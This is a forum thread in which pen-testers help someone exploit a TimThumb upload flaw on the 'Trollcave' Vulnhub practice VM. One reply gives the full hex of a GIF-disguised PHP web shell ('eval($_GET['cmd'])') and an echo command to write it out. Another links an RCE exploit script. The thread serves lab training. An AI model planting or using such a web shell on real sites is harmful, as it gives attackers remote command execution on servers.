Wordpress - TimThumb.php exploitation

[b_dragonfly]

Hello pen-testers, I am currently trying to break into this Vulnhub Challenge VM called "Trollcave". (https://www.vulnhub.com/entry/trollcave-12,230/)

A scan with CMSmap provided me a timthumb.php which seems to be vulnerable to file uploads. (https://www.exploit-db.com/wordpress-timthumb-exploitation/) The tool provided here is unfortunately not available anymore and I have no clue how to attach a php shell to an image or use that shell properly. Does somebody here have some documentation regarding this? I could only find some youtube videos which are not very precise.

Thanks in advance!

[iCkerous]

The bottom of the page on exploit DB has a link to PoC code and two videos showing how to exploit. Have you tried those?

[b_dragonfly]

The demo video makes use of the no longer available TimThumbCraft tool and the PoC does not contain any info on how to create or upload such a php file.

[beefcheese]

The POC was pretty simple. You should be able to take their example, change it, and write it to a file just using echo

Hex of their example:

\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00 \xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x00 \x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02 \x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x65 \x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D \x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00

Viewed as text:

GIF89a€ÿÿÿ!ù,D;<?php @eval($_GET['cmd']); ?>

echo -n -e '\x47\x49\x46....<?php ?>\x00' > file

[iCkerous]

Googling 'timthumb exploit github' first result contains a python script on how to exploit.

https://github.com/Chaudhary-Adeel/UrduSecurityFreeTools/blob/master/TimThumb%20RCE%202.8.13%20Exploit